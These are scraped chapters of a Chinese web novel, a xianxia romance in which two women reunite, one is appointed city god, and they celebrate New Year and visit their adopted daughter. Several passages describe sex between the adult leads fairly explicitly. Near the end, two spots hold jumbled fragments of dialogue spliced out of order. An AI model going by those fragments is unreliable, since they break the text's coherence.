持续了良久。 女人一声闷哼,紧绷的神经和身体松懈。 傅清微放开穆若水的唇,指尖摸到女人的眼角,失落地发现并没有眼泪捏。 她将细微颤抖的穆若水搂进怀里,手掌贴合着,安抚她,延续她喜欢的感受。 ……也许喜欢。 穆若水张了张嘴,似乎想咬她,然而有失一代宗师的风范,虽恼羞成怒,却及时忍了回去。 傅清微:“宝宝。” 穆若水懒得反驳。 连老婆都自己承认了,宝宝又算得了什么。 傅清微开心地吻她,穆若水张口和她纠缠,忽然皱紧眉头,将她舌头推了出去。 傅清微:“都是你的……” 穆若水:“闭嘴。” 好吧。 只许观主放火,不许女大点灯捏。 傅清微亲了亲她的唇和脸颊,不再深入,手指却是趁热打铁地再次摸向了女人湿软的双唇。 她指腹在女人唇缝间来回滑动。 “宝宝。” 穆若水维持了几秒钟的面无表情,终于绷紧了腰背,微微地张口呼吸,眉眼浮现忍耐。 傅清微亲着她的脸,望着她的眼睛,观察她的神情。 她拨弄着晶润的唇挤进一个指节。 女人张唇继续咬住她第二个指节。 “若水?” “无妨。” 傅清微分明在她脸上看到不适和难受。 全都含进软唇中,傅清微指根贴在她的唇瓣边缘,不敢妄动。 她知道穆若水的痛感被调低了千万倍,所以她对方表示可以时,没有继续,而是退出来抱着她。 “我们睡觉吧,今天先到这里。” “你确定?” “我确定。” “那该我了。” 穆若水仿佛从未被折腾半宿,熟练地将傅清微拉到自己怀中、身下,咬上了她的颈子。 “师尊……我……嗯……” 傅清微也熟练地躺了后半夜。 不管怎么说,她也让妻子快乐了一次,开了个好头,再接再厉。 两人时隔几日再次在天色蒙蒙亮时相拥睡去。 * 这段时间穆若水盯着傅清微的精神状态,晚上没睡好过,难得睡得沉了一些。 有的人便趁机干坏事。 轻车熟路地绑好长发,滑进被窝。 穆若水闭着眼,两手托起年轻女人的下巴,小心没碰到她已经亮晶晶的唇,问道:“你做什么?” 傅清微在被窝里回答她:“我喜欢你。” 穆若水阻止她的手指变成轻轻探进她柔软的发丝。 傅清微发现早晨的师尊比夜晚更热情。 傅清微蹭着她的唇瓣,舌头舔弄,接吻的水声传出来。 她只花了不到一半的时间,便达到了昨晚的效果。 照这样下去,随着开发进度的加深,有机会让穆若水也变成和她一样的小猫咪。 漫漫长路,任重而道远。 傅清微舔了舔唇,从热烘烘的被窝里钻出来,满脸潮红,穆若水倦怠满足地合着眼,一只手搭在额头上。 ……终究是让她犯了个彻底。 里里外外,清清楚楚。 傅清微:“宝宝。” 穆若水严令禁止:“白天不许。” 堂堂蓬莱观主,岂可与小儿一样? 傅清微的失落还没有一秒钟,重新钻下去捧着师尊含吮。 食髓知味,遍尝不腻。 穆若水胸口涨满,气急:“你怎变得如此?” 傅清微眼巴巴:“我有一百多年没尝过了。” 穆若水:“……罢了。” 傅清微缠着穆若水在床上赖到了下午,她精神甫一好起来,修为都体现在不正经的事上了。 不吃不睡,只想和妻子肌肤相亲、耳鬓厮磨,填补她一百年分离的空缺。 穆若水抱着衣服逃下了床。 再这样下去她要破皮了。 “我去做饭!”她穿着一只鞋子单脚跳出了房门。 傅清微起身穿好衣服,慢条斯理地洗漱,对着镜子笑了笑,踏出屋门。 穆若水正在厨房处理晚饭的食材,从窗户看到傅清微在院子里背手而立,半仰起脸看向道观外的树木出神。 风扬起她满头的白发,仿佛已经这样看了很多很多年。 穆若水忽然出声,粉碎了时光凝固的琥珀。 “清微。” 傅清微向她回过头,眼底的泪意未来得及风干,冲她露出一个灿烂明艳的笑容。 只如初见。 “要不要看我做饭?” “好啊。” 傅清微迈步进了厨房,谨记绝不动手的原则,在旁边看着。 她看穆若水做饭少,看姬湛雪做饭多,一年和二十年仅从时间尺度来说,很难摆在一起衡量。 傅清微脑海里浮现些过往的记忆,欲言又止。 穆若水不咸不淡:“又想起你的小雪了?” 傅清微求生欲满满:“是想起以前的你。” 穆若水哼了一声。 可傅清微观察她神情,似乎不是很生气。 “她做的饭好吃还是我做的饭好吃?”穆若水坐在对面看她。 “你要我说实话,是一个味道。” 穆若水托着下巴,不置一词。 晚上傅清微预感到会发生一些事,果然从温泉回来进门后,穆若水就对她说:“我想解开封印。” “为什么改变主意了?” “我对前生的事依旧没有任何兴趣。” 穆若水看着她,认真道:“但如果这份记忆里有你的话,我愿意。” 还有一个理由穆若水没说。 她不想漫长的时光都由傅清微一个人背负,不想她独自守着沉重的回忆,不时流露出悲伤的眼神,她想和她一起分担过去的辛酸与痛苦。 傅清微点了点头:“如果你想好了的话,为师……我可以帮你解开。” “我想清楚了。” 穆若水毫不犹豫,这是她深思熟虑后的回答。 傅清微让她脱了鞋躺到床上,说:“你会睡上一夜,醒后封印就不存在了,现在闭上眼睛。” 穆若水闭眼。 傅清微指尖一点金光浮现,点在女人的眉心。 “乖,不要抵抗我。” 穆若水顺从地放下所有戒备,身心放松地睡了过去。 月亮东升西落,树梢挂上清晨的太阳,朝霞给山肩披了一条彩色的缎带。 翌日。 穆若水缓缓睁开乌黑深邃的眼睛。 傅清微守在她的床头,期待忐忑,问道:“你感觉怎么样?”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 【END】 第164章 穆若水睡了沉沉的一觉醒来。 “你感觉怎么样?”守在床头的女人迫切又忐忑。 穆若水在她的搀扶之下坐起来, 迎着傅清微的眼神,抿了抿唇,道:“什么都没有。” “记忆吗?” “嗯。” 古法炼尸, 前尘尽忘。姓甚名谁, 一张白纸。 即使没有傅清微那道封印, 她也早将曾经姬湛雪的人生忘了个一干二净。 七情六欲皆化作尘土。 傅清微料到有这种可能,仍抱了一丝希望, 如今最后的幻想也破灭。 她的记忆, 恐怕回不来了。 穆若水在脑海里搜寻她在民国生活的记忆,沉入了一片空白, 五味杂陈。 她好不容易下定决心去接受过往, 过往却甩了她一巴掌,告诉她此路不通。一番挣扎,白费工夫。 傅清微安慰她:“没事, 想不起也没关系。” 穆若水看着她:“你看起来比我更介意这件事, 会不会很失望?” 傅清微摇头:“只要你在我身边,其他都不重要。” 穆若水起来洗漱穿衣,对着镜子发了会儿呆, 走到了铺满晨曦的小院,和正在藤椅看风景的傅清微坐在一起。 傅清微让了一半位置给她,手落在女人的后背。 穆若水道:“在你解开封印之前,我有时候会想起一些片段。” 嗯? 傅清微正襟危坐看她。 穆若水说:“因为记忆被动过手脚, 所以我每次想起就会很快遗忘,于是我在自己的掌心留下掐痕。记忆会立刻消失, 但掐痕不会。” “你记不记得我们去阁皂山那次, 我刚收你为徒,回程的最后一天, 我们在一个地方逛街。” 傅清微有印象。 她们俩坐在面馆吃面,太辣了所以穆若水去买水,在原地发呆。 后来傅清微问她,她说她忘了点事情。 “所以……” 穆若水道:“那天我不是忘了一次,是两次,所以我应该有两次想起了你。” 傅清微眼前一亮。 “你的意思是……” “也许有机会恢复记忆,即便不能完整,至少能想起一些。” “需要契机。” “嗯。” 傅清微松了口气,不是全无希望就好。 穆若水了然:“清微,你真的很在意我能不能恢复记忆。” 傅清微就坡下驴:“你也很在意我的感受,对不对?” “……” 穆观主爱妻之心又被堂而皇之戳穿,轻飘飘地一拂衣袖,起身走了。 以穆若水的性格哪里会执着记忆,又怎会主动说起不确定的事,给傅清微一个希望。 傅清微望着她离开院门的背影,轻轻一笑。 忽然脸色又一变。 “若水!” 她的身形从原地消失,出现在穆若水前方,穆若水看着她惊慌失措的神色,意识到自己犯了一个多大的错误。 她不该再给她看自己的背影。 穆若水伸手抱住她,吻着年轻女人的鬓角安抚道:“我错了,我只是想去林子里散步,我们一起去好不好?” 傅清微埋在她肩窝里点头。 穆若水牵着她的手并肩往树林里走,傅清微的目光在一个方向停顿了几秒,收回来。 傅清微除了上下山的路,还没有在现世完整地到密林里散过步,两人走着走着,面前一片小菜园,冬季绿油油的小青菜,赏心悦目。 穆若水停下来,问:“菜地也是你开垦的吗?” “对。以前我翻土播种的时候,你就在旁边的空地练剑。” 傅清微观察妻子的表情,穆若水果然在这时换成了木头脸。 “还会……”傅清微声音低了低,“叫我姐姐,让我教你。” 穆若水哈了一声。 总之不是高兴得。 师尊变徒弟,又变小妹妹,超级减辈。 她怀疑自己想不起来的部分原因里,肯定有她不想面对这些的缘故。 穆若水离开了菜地,路过练剑的结界,由于她不通阵法,肯定也是傅清微布置的。 道观上空划过一道流虹,相思剑应傅清微的召唤而来,傅清微剑柄朝外,将剑递给她,温和地说:“试试?为师看看你的剑术长进如何了?” 穆若水面无表情道:“正好,为师也想看看你如今修行精进怎样?” 傅清微唔了一声。 两人“僵持不下”,穆若水道:“干脆我们俩打一架。” 傅清微:“这个结界撑不住,山会塌的。” 穆若水:“床上打也行。” 傅清微:“那和我认输有什么区别?” 两人打趣玩闹了几句,相视一笑。 打架是不可能打架的,傅清微席地而坐,相思剑在她左边,穆若水坐在她右边,两人并肩靠在树下聊天,凉风习习。 “师尊,你的水好少。” “你前天晚上就想说吧,忍到现在,难为你了。” “为什么呢?你明明叫若水。” “你给我起名的时候真没有半点私心?” “有啊,希望你是一只水多的小猫咪。” “从今天起,你叫穆若水,我叫傅清微,谁让你水多呢,你有三点水,我只有一点。” “哎呀,我们俩聊这种话题会不会不太好?” “谁家感情好的道侣不聊床笫之事,再说我们在结界里,无妨。” “其实我一直幻想有一次幕天席地,你和我……” “对不起,这个尺度为师接不住。” “哈哈哈哈。” 最后两人幕天席地地躺了下来,什么也不干,闭着眼睛睡觉,浪费时间。 她们有漫长的时光可以消磨。 躺着躺着,穆若水的脚和傅清微的脚同时朝对方伸过去,搭在对方小腿,一上一下地错开,穆若水略胜一筹,居于上位。 可是她忽然察觉到了一丝异样。 奇怪,自己不是一向让傅清微架在她腿上的吗?怎么先发制人了? 甚至想爬到她身上睡觉。 不是做她,纯睡觉,哪怕她们俩个子一般高了。 穆若水侧身,望了望闭目养神的傅清微,爬了上去。 身体陡然压上一副重量,傅清微睁眼:“师尊,你……” 该不会真的要和她在这野战吧?她她她还没准备好。 穆若水往下睡了一点,两手抱住她的腰,脸颊枕在年轻女人软软的胸口。 傅清微心念一动,柔声细语:“这是谁家的小猫咪呀?” 穆若水的大脑不听本人使唤:“你的。” 完蛋!这肯定不是她的嘴说出来的。 傅清微弯了眉眼,亲了亲女人的唇,说:“小猫咪也可以翻身做主人。” 穆若水神魂归位:“我怀疑你说的做不单纯。” 傅清微无辜:“你也可以不单纯地做我。” 穆若水瞧了瞧白日昭昭,野外毫无遮挡,说不定还有虫蚁,到时爬到傅清微光裸的身体上就不好了。 她的身体只有自己能在上面。 穆若水好大一只了,不是四岁的姬湛雪,也不是十三四岁,她埋下来吻了吻傅清微的颈线,便翻下来躺到另一侧。 换成傅清微鬼鬼祟祟爬到她身上。 穆若水:“……” 好幼稚啊。 堂堂两代蓬莱观主,加起来快二百五十岁,还做这么二百五的事。 穆若水腹诽着,抬手搂住了傅清微的后腰。 傅清微手掌按了按:“怪不得你以前喜欢睡我身上,原来这么软。” “我睡到几岁?” “十来岁吧,开始发育就不让了。” “你还挺宠她的嘛。” “……师尊,你这样精神不会错乱吗?” “为师愿意,哼。” 傅清微在她的新床垫上睡了一整觉,醒时暮色薄冥,有一种天地静谧的孤独感,一如她过去每一个从蓬莱醒来的白昼。 可傅清微再不觉得孤独,因为穆若水就躺在她的身下。 一只手抱着她,满头墨色的发丝铺散在青衫垫着的地面,眉眼平和地沉睡,呼吸清浅。 傅清微亲了一下她的鼻尖。 穆若水顺势醒来,见到她的第一眼自作主张弯起唇角:“醒了?” 傅清微嗯一声,黏着妻子腻歪了一会儿。 穆若水把她从自己身上扶起来,收拾地上自己的外袍,拍打灰尘和草叶。 傅清微面向夕阳和彩霞,伸了个长长的懒腰。 “好久没有睡得这么舒服了。” 穆若水走过来,牵起她的手十指相扣,晃了晃:“走吧,我们回家。” “嗯,回家。” 两人迈出结界,山顶的晚霞染红了半边天,云海大片大片地跌坠在林子里,一路延伸到尽头的道观。 * 自从傅清微回来后,蓬莱每日的朝霞和晚霞都格外绚烂。 仿佛随时会天门大开,祥云万里,昆仑飞来接引的仙人,引渡她升仙。 傅清微依次给西王母、玄女娘娘和后土娘娘上过香,对着西王母的神像陈情,她不愿成仙。不管从前还是现在,她日日在神像前焚香祈祷,不为其他,只为了和妻子团聚。 傅清微向穆若水坦白飞升将近,以及她的忧虑。 同时傅清微也想好了应对之策。 凡间承载不了仙人的力量,她不可能以如今的修为一直停留在人间,迟早会被接走。 “如果你不能和我一起的话,我便散尽修为,不做这个仙了。” 穆若水摸着她坚定的脸,叹气道:“可惜你的百载修行。” “修行不可惜,可惜的是又只能陪你几十年。” “你在我身边,一年抵得上百年,焉能不算天长地久?” “师尊,你突然变得好会说话。” “为师修习了情商课。” “真的假的?” “假的。”穆若水屈指弹了一下她脑门,说,“逗你呢,还这么好骗。” 昆仑大概率是不让带家属飞升的,何况穆若水的身份,比起仙,更像魔。如果不能进一步得道,天界岂能主动容下她? 但傅清微既已决定破釜沉舟,什么都不要,昆仑不至于非要棒打鸳鸯,拆散有情人。 如果一定要分开她们,傅清微就和来人鱼死网破! 穆若水在厨房做晚饭,她坐在院子的藤椅里,仰头望向朝她的方向蔓延的祥云和万道金光,相思剑感受到她的杀气,在剑鞘里嗡鸣,剑鞘外都覆上一层冰雪。 那片祥云停在了半空,没有再飘过来。 晚饭时穆若水看了眼手机日历,突然说:“快过年了啊。” “真的假的?” “真的。”穆若水把手机递给她看,腊月二十二。 “好久没过年了。”傅清微放下饭碗感叹道。 过了会儿,她低下头,擦了擦湿润的眼角。 穆若水全程看在眼里,不满道:“你怎么背着我哭?” 傅清微笑起来:“不知道,犯病了吧,怎么突然好面子。” “坐过来,让我舔舔。” “吃饭呢。” “我说的是舔眼泪,你在说什么?” “……我说的也是眼泪。”傅观主强行挽尊。 到了晚上,穆若水真的给她舔舔了,边舔边道:“你好多啊,怎么做到的?” “师尊要学吗?” “待会儿吧,为师先做个手膜。” “左手要做吗?” “嗯,可以试试。” 穆若水右手有练剑的薄茧,左手细腻修长,发力的方向也不一样,虽然是同一个人,却有截然不同的体验。 傅清微身心放松,沉浸在不间断的持续感受里,没扛到后半夜就舒爽得睡了过去。 穆若水给她清理善后,跪在她身边,好奇用她的手碰了碰自己的双唇。 启唇咬住了她的指节,一节一节地吞入。 好像没有上次那么困难了。 穆若水握着她的手指在自己唇间来回了两次,后脊柱微微一麻,松开了她的手。 下、下次吧。 傅清微的一根食指布满亮晶晶的光泽。 穆若水跪着缓了会儿,清理了自己,侧身躺在了傅清微身边,她刚躺好,傅清微便向她滚了过来。 穆若水环住她的腰,小声试探道:“清微?” 傅清微气息均匀绵长。 幸好睡着了。 穆若水合上了眼睛,听着她的呼吸声沉入梦乡。 傅清微被含过的那根食指轻微动了动。 月落西厢,梦圆人圆。 * 昆仑接引的仙人一直没下界,飘着的祥云滞留半空。 傅清微权当看不见,满心期待起了和穆若水团聚后的第一个新年。 也是她时隔九十二年,终于再一次过年。 腊月二十七,傅清微白日放歌,在林子里玩了一天,还跑去湖里游了泳,夜晚早早地睡了。 她做了一个梦。 她似乎在一片白光里,又似乎踩在祥云之上,入目皆是雪白。 一位骑着青鹤的仙人飞了过去,回头瞧着她,四目相对,她咦的一声飞了回来。 “傅清微?” “是我。” “哎呀,绕了一大圈,可算找到你了。” 仙人从青鹤上翩跹落下来,脚下自动出现祥云,白衣飘飘,金光涌现,面向她打开一卷绢帛。 “承天效法后土皇地祇,敕曰: 今有凡人傅清微,怀慈让之心,济世安民,德厚流光。消灾弭患,护佑百姓……历经磨难,功德圆满。赐神位,封城隍,掌鬼界,治一方太平。 定夺阴阳秩序,执掌善恶轮回。 钦哉!” 傅清微双手郑重接过绢帛,躬身道:“谢后土娘娘。” 翌日一早。 傅清微从睡梦中醒来,穆若水比她先醒,正在书桌后看书。 傅清微一身寝衣向她走过来,恍惚道:“若水。” 穆若水:“怎么了?” 傅清微看向自己空荡荡的右手手心,神念一动,凭空出现了一卷红线系着的文书。 穆若水接过来,看见上面的字:《敕封傅清微为鹤市城隍之神诰》。 她揉了揉眼睛。 傅清微呆呆的:“我好像当上城隍了。” 两人脑袋凑在一起把任命文书上金光闪闪的字看了一遍又一遍,激动得抱在了一起。 不用飞升去昆仑了,也不用散尽修为了,她可以留在人间了。 虽然要去地府上班,但地府和人间互通,下班后还能回家吃饭。 最重要的是,她成神了,和穆若水一样,拥有不死不灭的生命,她们可以长长久久地相守在一起。 傅清微立刻去后土殿烧了最粗的香。 穆若水和她一起跪拜后土娘娘,她们成亲时没有拜过天地高堂,此时端端正正地三叩首,比任何时候都虔诚感恩。 同时也拜了西王母和玄女娘娘,烧了同样粗的香。 谢昆仑成全。 飘在蓬莱观上空的祥云远去,取而代之的是万丈霞光自云巅撒落。 鹤市的上班族们从忙碌的通勤里抬起头,拍下了城外天空灿烂无比的朝霞。 * 腊月二十八。 两人开车进城采买。 除夕前一天,大型商超里全是采购年货的,人山人海。傅清微担心穆若水会不习惯,又不想自己一个人去,咬了咬牙还是打算选择后者。 穆若水已主动挽起她的手,笑道:“走吧。” 她此生最大的心愿已经达成,哪有任何事值得她发火,她会对整个世界有好脸色。 一个小孩撞到了她腿上,穆若水笑吟吟:“小朋友,没事吧?” 傅清微:“……” 是她多虑了。 师尊是真开心啊。 当然她也不遑多让。 从昨天起脸都笑僵了。 小孩道歉完跑走了,穆若水说:“这算你的子民吗?” 傅清微笑着纠正:“他死了才算,我管的是阴间事。” “他们要是全死了,就都归你管?” “对。” 旁边听到二人对话的路人频频回头,难掩震惊。 傅清微:“别在这说了,我怕一会被当成神经病抓起来。” 穆若水:“哈哈哈。” 买完了肉蛋蔬菜和牛奶及日用品,傅清微两手推着购物车,穆若水一手挽着她的胳膊,路过了陈列酒的专区。 “要不要买瓶酒?” “怎么想到买酒?”傅清微记得她只喝清水,从未在她面前表现对酒的爱好。 “庆祝一下。” “你拿吧。” 穆若水指尖划过长长的专柜,拿了一瓶红酒,放进购物车里。 傅清微推着购物车往前走,顺口道:“小孩子不可以喝酒。” 穆若水的声音从她身后悠悠传来。 “二十岁了,可以喝酒。” 傅清微蓦地回头。 两人把东西装进后备箱时,傅清微的眼眶还有些湿润。 她们最后一站去买了烟花,穆若水站在车水马龙的路边。 周围的高楼大厦改换面貌,房屋低矮简朴,卖法器的铺子、布庄、酒楼、杂货铺,捆好年货的骡车吱嘎吱嘎,驶过青石板的大路,一路往城门而去。 一大一小的身影渐渐远去。 在路的尽头,她们坐在骡车上回过了头,朝穆若水投来含笑的一眼。 后备箱的门砰的关上,傅清微在她眼前挥了挥手:“若水?” 穆若水:“我没事,想起点旧事。” “你慢慢想,不着急。” “嗯。” 这一次她们有无尽的岁月。 除夕当天上午,两人鬼鬼祟祟且不约而同地进了各自的房间。 傅清微进的是她最开始的小房间,关好门窗偷偷摸摸。 穆若水比她先忙完,也不去打扰她,提前准备丰盛的年夜饭。 两只小猫下午就吃上了猫饭,在院子里追逐打闹,饭菜弥漫出香气,小三花从厨房门口踱步进来,探头探脑。 穆若水和傅清微正在吃年夜饭,见它脑袋蹭到脚边撒娇,将早已留好的清水虾端到地上。 小三花埋头大吃。 穆若水半喜半嗔:“就它嘴馋。” 傅清微故作叹气:“也不知道是谁惯的?” 穆若水一本正经:“它只是只小猫咪呀。” 傅清微清了清嗓子。 “那么,你是想要这只小猫咪,还是更想要我这只活好水多的小猫咪呢?” “这回你不害羞了?” “夜晚了嘛,你快说。” “想要你,因为我喜欢你。” 傅清微想听她表白,此刻看着她认真的眼神,反倒不好意思起来,情话可以留到更深的夜,彼此的耳边去说。 穆若水看出她的不自在,笑道:“吃饭吧。” “好。” 山下的烟花已经放起来了,饭后傅清微连忙将买的烟花抱出来,放在院子的角落点燃。 咻—— 一簇一簇的烟火接连绽放在夜空,两人两猫站立在屋檐下,两两互相依偎在一起,抬头仰望长空和焰火。 昨日种种,化作烟花绚烂,此生不再有颠沛和分离。 最后一簇火焰在天空熄灭,蓬莱观的灯光忽然齐齐暗下去。 傅、穆二人分别从自己的房间走出来,手里提了一盏兔子灯,朱砂红点,惟妙惟肖。 傅清微先笑了一声,穆若水望着她,也相视一笑。 两人提着兔子灯走到院子中央,彼此递灯的手伸过去,指尖碰到了一起。 她们看着对方勾起唇角,柔声交换祝福: “流年吉利,无病无灾。” “岁岁长相守。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 165、后日谈… 大年初一。 有人在放假,有人命苦值班。 从ICU出来休养了几个月的占英重返一线,本来她可以接着带薪养伤,奈何岁已寒贵人事忙,昨晚还是抽空和占英过的除夕,初一向来不见影踪。占英孤苦无依,好心地和同事换班,自己在假期轮值。 除夕人团圆,鬼也想回人间,地府开了恩典,总有那么几个不老实的,想趁机滞留人间。每年灵管局都得配合地府把鬼抓回去。 占英巡了一圈,逮了三只鬼串起来,走街串巷,直到串满五个糖葫芦,在街尾停下来,点燃符文和纸元宝,召唤冥界勾魂使。阴风在巷子里卷起来,占英闭了闭眼,今天来的阴气格外重。元宝揽入斗篷怀中,一身漆黑、背生双翅的驼峰鬼差夜叉出现在了占英面前。占英惊喜道:“Mary姐,怎么是你呀?” 马姐本来挂着脸,一见占英这位老朋友同病相怜,也是喜形于色:“占科,好久不见,你也值班啊。” 占英:“是呢,打工人命苦。” 马姐牵了那一串糖葫芦,站在原地和她大吐苦水:“谁说不是,我工龄几百年,在地府白混了,居然还要年初一值班。” 占英:“坚持坚持,马上放假了。” 马姐:“瞎,放不了假,咱上头来了个新城隍,年后上任,地府正忙得人仰马翻,要以全新面貌迎接城隍神。” 占英顺着她的话道:“原来是这样,怪不得马姐也被抓壮丁,这么重要的任务,那是一般人能顶上的吗?还得是地府大动脉。” 马姐被她哄得眉开眼笑,连连摆手。 “夸张了夸张了。”新城隍?岁已寒:【啊?】“有可能是你。”“”"掌教了然。“有劳。”掌教:“…….”“掌教慢走。”任它花开自在。穆若水:“.….”穆若水:“…….”娘俩一样嘴甜。 “不夸张,Mary姐坚守岗位辛苦了,没有你,哪有阳间的太平。”占英说着往地上又烧了俩纸元宝。 马姐心满意足地走了。 临走前不免又是一番地狱谈话,让她争取早死去阴间。 马姐消失前突然想起来:“对了,听说新老大和你们灵管局有点关系,不过我职级不高,不清楚具体的,你可以问问你师傅岁主任。”占英挥手:“好嘞,谢谢Mary姐提醒,Mary姐慢走啊。”过后,占英在原地沉思。 那岂不是阴间换了市长,这么大的事确实得知会师尊一声。灵管局和地府合作密切,说不定需要到新城隍那打点一下,岁已寒肯定要混个脸熟的。 岁已寒:【我知道了,为师也刚听说新城隍上任的消息】 占英:【地府的马姐跟我说,新城隍和灵管局有点关系茫然jpgl】 占英:【是咱们灵管局哪一代名人?】 岁已寒“正在输入”了许久,说:【估计得追溯到天机阁时代了,可能是哪位大前辈】 占英搓手:【好想知道是谁啊,第一次离神仙这么近】 岁已寒:【城隍上任那天,为师会代表灵管局去恭贺送礼,到时我帮你看看】 占英:【可以拍照录像吗?】 岁已寒:【你猜^_^】 占英:【我去巡逻了师尊溜走gif】 邱月白自那日灵管局决战后,回到村寨避世不出,岁已寒缺了最关键的一环,无论如何也想不到现代有人能受封城隍。她将天机阁死了的历代名人在脑海里过了一遍,抛之脑后。 “折枝”死后,魔族绝迹,魔气元气大伤,群龙无首,正是一举剿灭的好时机。 否则占英也不会被允许回到一线。 即便这样,在岁已寒的授意下,她分到的是几乎没有危险的任务,抓抓小鬼移交地府,晚上还能回去吃个宵夜。 另一边,新城隍并不知道地府正为了她的到来人仰马翻,也无从得知灵管局不少人想一睹她的神秘真容。 傅清微和穆若水在初一的下午,坐上了前往洛阳的高铁。 别问为什么是下午,问就是妻妻一夜未睡,上午没起。 在洛阳下榻一晚,两人出城前往清净派的山门。 山路蜿蜒曲折,天有漾漾细雨,傅清微撑了一把竹骨伞,打在两个人上方,肩头都染上些清润的湿意。 伞下,两人交谈的声音轻柔传出来。 傅清微正和她说当年送龙璇玑来时的场景。 长长的台阶,长长的一路。 穆若水:“原来我不是你唯一带过的小孩?” 傅清微:“加上赶路的时间,我只带了她一年,带了你二十年。” 穆若水:“你牵着她走那么远的路。” 傅清微:“我还背着你走了更远的路,你是在我背上长大的……珍宝。” 穆若水:“今天吃醋先到这吧,再下去有点肉麻了。” 山径无人,唯有雨雾,傅清微仍然低下伞沿,遮遮掩掩地凑过去,在女人柔滑脸颊讨了点便宜。 “一百多岁了,还害羞。” “百岁女大,永远纯情。” “昨晚有人握着我的手自己动得大汗淋漓,我不说是谁。” 穆若水想起那夜她用傅清微的手指研究自己,还趁她睡着,论起来不相伯仲,识趣地不再争论。她还是姬湛雪的时候,就对此事充满好奇,可谓本性不改。“快到山门了。”穆若水生硬地转移话题。“是啊,再过半小时就到了。” 明明可以飞上去,二人却越来越喜欢并肩漫步的感觉,听风吹过树梢,雨滴落石板,花树在山间蒙蒙的雾里隐现。到目的地时,两人身后的发丝都笼上丝丝细雨,摸上去茸茸的凉意。傅清微收起竹骨伞,叩开山门。“蓬莱观慈让真人携道侣来访,烦请通禀。” 小弟子左右看看戴黑色口罩的青袍女人,腰间悬着一枚黄玉,她身边说话的女人温和含笑,年纪轻轻一头白发,气质非同寻常。清净派这代掌教手持马尾拂尘,健步飞奔,一路小跑,转进会客室前,整理仪容,缓步踏了进去。 “晚辈见过慈让真人。” 掌教看向腰悬玉佩的穆若水,穆若水介绍身边人道:“我的道侣,姓傅。”掌教怀抱拂尘行礼:“傅道长慈悲。”她端目凝视:慈让真人一百多岁找个二十岁的道侣?傅清微也回礼:“掌教慈悲。” 为了不让掌教感受到长辈的压力,傅清微省去了与这位故掌教徒孙的寒暄,道:“掌教新年好,我二人专程来探望璇玑。”掌教:“新年好,二位道友稍坐,我让人去请龙师叔祖。” 傅清微:“叨扰掌教,只是我二人来此前并未告知她,想给她一个惊喜。” “龙师叔祖住在后山,我亲自引道友过去。” 掌教和她对话寥寥数语,便觉出她身上渊停岳峙,静水流深,实非常人能企及,慈让真人的道侣有点东西。 要不是真人就在一旁,她还以为傅清微是慈让真人呢。 龙璇玑作为故掌教的关门弟子,受尽宠爱,又是本门辈分最高的长老之一。清净派单独给她分了一座山头,已住了几十年有余。 此时正是冬日,遍山开满了梅花,粉色、淡白,一簇簇盛放在枝头,如若下雪会更好看。 傅清微:“我以为她会种桃花。“ 掌教笑了笑:“龙师叔祖说,桃花她自己会下,不如种些不一样的,这样一年四季都有花看。” 傅清微:“咱女儿果然聪慧。” 知道你和真人感情好了,视如己出。 掌教送到梅林里,视野尽头已经有掩映在梅花深处的独栋院落。 “龙师叔祖就在屋里,晚辈不打扰了。” 傅清微瞧梅花夺目,本想折一枝梅给穆若水簪在鬓边,指尖伸过去,点了点花瓣收了回来。 龙璇玑正在吃汤圆,她的曾曾师侄送来的,端给她尝尝。 她辈分高,模样却小,清净派大大小小一边尊敬她一边宠着她,什么东西都往梅林送。 “璇玑。”傅清微轻手轻脚地出现在门口,柔声道。 龙璇玑腮帮子鼓着,咕咚把汤圆咽了下去:“娘亲!”她从地上一跃而起,光脚踩在地上,冲到了傅清微面前,“你怎么来了?不是说好我去拜年的吗?” 傅清微笑道:“你师娘想你了。” 龙璇玑:“真的吗?我也想师娘。” 穆若水不喜叙旧,再说璇玑出生她还在棺材里,但是傅清微种的,她爱屋及乌,从袖子里掏出一个红包:“新年快乐。祝你身体健康,修行有成。” 龙璇玑:“谢谢师娘!新年快乐,永结同心!” 傅清微:“我就说她想你了。” 龙璇玑:“哈哈哈。” 好在孩子大了,知道师娘脸皮薄,只和娘亲两个人偷偷蛐蛐她。 穆若水就在她俩身边一步的距离,面无表情地听着。 账都记在傅清微身上,以后都要还的。 龙璇玑在清净派住惯了,有很多新家人。比起蓬莱观,这里才更像她的家。傅清微在她的介绍下走遍了整座山,见她意气风发,偶尔见到小弟子,也不失长老风范。 她确信当初送龙璇玑来清净派是正确的决定,跟在她身边,她的根系不会这样茁壮。 傅清微晚上在龙璇玑的屋子用饭,道:“蓬莱观我原先的屋子收拾出来了,你平时要是回去的话可以住在那间。” 龙璇玑喜出望外:“真的吗?太好了,我做梦都想回去!” "……."带着老婆一起。地府。城隍办公衙门。“参见城隍大人。”“平身免礼。”其他的……“属下在。”“功过司主何在?”“属下在。”“孽镜司官…….” 傅清微和穆若水互视一眼,她说:“明年如果你想回去过年的话…” 龙璇玑点头如捣蒜:“我想!” 傅清微低下头,只有穆若水最了解她,她恐怕又要掉眼泪了。 虽然龙璇机是她种的,也是她助她化的形,但毕竟在一起不长,分别又太久。一年的情谊哪里抵得上清净派的几+年,母女间到底生分了,傅清微待她也有几分客气和小心。 可龙璇玑和傅清微一样,都是长情的人,即使只有那一年,她也始终记在心底,时时刻刻想着回蓬莱。 龙璇玑:“娘亲怎么了?” 穆若水:“她只是想你了。” 龙璇玑是清净派的镇派之宝,年年回蓬莱也不现实,商量过后决定两边轮流过年,闭关除外,也许再过些年,她会有自己的道侣,那是很久以后的事了。 在清净派住了两日,初四龙璇玑跟着傅清微回了鹤市,回到了心心念念的家,进门的第一件事就是变回桃树,疯狂下桃花雨。 傅清微站在树下仰望她的树冠,一般很少用遮天蔽日来形容一株桃树,但龙璇玑做到了。 她的桃花覆盖了整座道观后院上空。 “你怎么长这么大啊?我的小璇玑。” “为了让娘亲不被雨淋到,你老是在院子里淋雨,璇玑很心疼。” 这下心疼的不止龙璇玑,还有穆若水了。 年初六,傅清微和穆若水去了一趟城隍庙,看自己以后上班的地方。 她以为城隍文化衰落,一定会香火凋敝,虽然确实不如寺庙和道观旺盛,但比她预想的好些 想必是当代热衷求神拜佛的年轻人,偶然想起了这尊犄角旮旯里的城隍神。 在市里,路过了,不拜白不拜嘛,说不定就发财了。 傅清微看着庙里半死不活的香火,心想待她上任,一定要好好地大干一场。 城隍护佑一方太平,不能也不应当这样被世人遗忘。 年初七,酆都快递,赶在上任前一天,加急送来了傅清微的行头。 